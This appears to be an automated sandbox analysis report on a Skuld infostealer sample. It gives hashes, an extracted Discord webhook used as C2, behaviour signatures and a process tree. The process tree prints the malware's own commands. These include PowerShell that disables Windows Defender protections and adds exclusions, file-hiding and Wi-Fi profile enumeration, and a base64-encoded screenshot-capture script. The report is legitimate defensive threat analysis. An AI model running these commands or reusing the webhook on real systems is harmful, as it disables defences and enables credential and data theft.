Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-11-2024 03:55

General

  • Target

    1a9c59d5405545c7b42dba4fe8cc349be6e936bdf696368ee0b41e4f006032d4.exe

  • Size

    9.9MB

  • MD5

    25676c9a433d3dbf9c3bcb44ab39873e

  • SHA1

    8407f1842d63c7513290cbdf4fe1603812bf0453

  • SHA256

    1a9c59d5405545c7b42dba4fe8cc349be6e936bdf696368ee0b41e4f006032d4

  • SHA512

    e4c4bb7f98451523b3b7af913d8b923410590781a40920b6b592ed7c0ce55abb069077401bf5081b51620cdd64ad1d8bc0ec87f6f92b3cec2c88af59e9b87577

  • SSDEEP

    98304:DzU4brhxBASgf/gEpiji6Ig8TWA5EIICafZm/mbnXg:DxrhxBAGZji6IdThaRTXg

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1308221616035070077/ZvW_NI9m77AynQlvy5vPgnJpwDRi3zyZtu9gP6k_9TTJsZTJAC8QDWmGMw_qJ21KvWNG

Signatures

  • Skuld family
  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1a9c59d5405545c7b42dba4fe8cc349be6e936bdf696368ee0b41e4f006032d4.exe
    "C:\Users\Admin\AppData\Local\Temp\1a9c59d5405545c7b42dba4fe8cc349be6e936bdf696368ee0b41e4f006032d4.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3004
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\1a9c59d5405545c7b42dba4fe8cc349be6e936bdf696368ee0b41e4f006032d4.exe
      2⤵
      • Views/modifies file attributes
      PID:1276
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:5108
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2676
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:1116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\1a9c59d5405545c7b42dba4fe8cc349be6e936bdf696368ee0b41e4f006032d4.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1696
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:4804
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:1144
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:1364
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3068
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:1968
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:4116
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:1324
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:4884
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1960
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mxzblmy5\mxzblmy5.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4368
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9AF8.tmp" "c:\Users\Admin\AppData\Local\Temp\mxzblmy5\CSC5E229278F734AEFA52B61BBC75DA26B.TMP"
                4⤵
                  PID:4480

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            77d622bb1a5b250869a3238b9bc1402b

            SHA1

            d47f4003c2554b9dfc4c16f22460b331886b191b

            SHA256

            f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

            SHA512

            d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            53b097b8beec621cba9eb3ae650f7c34

            SHA1

            8bdf179119d0d1da07bae75d7b8c3ea494d4020f

            SHA256

            43df638d38a3487d9908f92bc12ba836ce933cdea5b4aa5fe4d276b03c1a6fe6

            SHA512

            e9cf91d94322afa20404a5aa62b66935d8f82a1f90e19ab563a836e195a0e496dc494d2320c91d8554bc0df0d8046ec873b2dedba365c52e9009e51f772015dd

          • C:\Users\Admin\AppData\Local\Temp\RES9AF8.tmp

            Filesize

            1KB

            MD5

            0e2d1dcb2ce14332240a2abf32e203e7

            SHA1

            c5a590371e66f216b76e68adb2fa223f79141f75

            SHA256

            c29e49a952aa16a404cb99ca762eb748f18b938327482b2041d72863264febdb

            SHA512

            28db73a8ede40db74bdaad2a7a8c09c2b6bf65c538116de1934c194ef9b8f931f5297abe8063138e6efda411ddaf6013bcf78a0bf3db60726225fc017378a841

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51wjq4we.5je.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\fOHyDVoxX2\Display (1).png

            Filesize

            419KB

            MD5

            ff8f879235bd3916e5c0dc892b50a7e3

            SHA1

            b9e111f8eeded034afcdf41284608c5590660fde

            SHA256

            3d6143c116c5c14fb05c73f14e54d69897e46ea84333521e3ed3df234163c144

            SHA512

            e2e4db8dd5c3cf6651d26b82d152fae203f523611b3c9fea5682d44a27f62c32a00f2d9fe6fa3748a9ec609898e540f1ce566fb64f37eb7470b8ce42d1acfd7e

          • C:\Users\Admin\AppData\Local\Temp\mxzblmy5\mxzblmy5.dll

            Filesize

            4KB

            MD5

            47d18775695fb7ca543911d8199674fa

            SHA1

            f8c238daa6ba2ce604b9eb6b9a10a7a289b92e44

            SHA256

            a4a39f52ea9feba84741863e64fa12632fb5b9102fa435eac3ff1725f990cc2f

            SHA512

            f9bf4081234ec7ea989998d811956226fd80eb7185f7bd5420841ac1cffc2618c1a4210210a2de9b0ec3cba8ff0af87ba3d854b917bf91d73bdb8505c075decc

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

            Filesize

            9.9MB

            MD5

            25676c9a433d3dbf9c3bcb44ab39873e

            SHA1

            8407f1842d63c7513290cbdf4fe1603812bf0453

            SHA256

            1a9c59d5405545c7b42dba4fe8cc349be6e936bdf696368ee0b41e4f006032d4

            SHA512

            e4c4bb7f98451523b3b7af913d8b923410590781a40920b6b592ed7c0ce55abb069077401bf5081b51620cdd64ad1d8bc0ec87f6f92b3cec2c88af59e9b87577

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\mxzblmy5\CSC5E229278F734AEFA52B61BBC75DA26B.TMP

            Filesize

            652B

            MD5

            15e81093964c1b9dad64918abe3791c2

            SHA1

            41fc136f5440e7eb2e38a446c3f0fc007f7c5d0c

            SHA256

            f4e311d1eaa0d229c4d79c5400e7e21b2f61e04f89a6d98937763398128454ae

            SHA512

            d216edf7a6a99559321e569128713e5b17b3b34bf187f6cbfafb5b33219d32f00bc32eb08c7eb1cb1ca39c20e2364c64d8d90a019ff6ffed240e6f8c0784263a

          • \??\c:\Users\Admin\AppData\Local\Temp\mxzblmy5\mxzblmy5.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\mxzblmy5\mxzblmy5.cmdline

            Filesize

            607B

            MD5

            62320f9830b289f995568008bf03a7da

            SHA1

            42fab9409461ac1aae8f829b19e3a36987a5e7d3

            SHA256

            9c1efacb934ef1e6ebfae73564f93e2884a5914db48a1bcd3d7aa4246df94500

            SHA512

            3ab3821a0b052e98a53928c34c74acfd0f712341fe3952fa76ce9ef210debd1e1580ac76c620b2dc1dcda7ab6d4213f7d6c53a1a2347613e247c6fc42e37ca21

          • memory/1696-12-0x0000021A28850000-0x0000021A28872000-memory.dmp

            Filesize

            136KB

          • memory/1960-63-0x00000225E49A0000-0x00000225E49A8000-memory.dmp

            Filesize

            32KB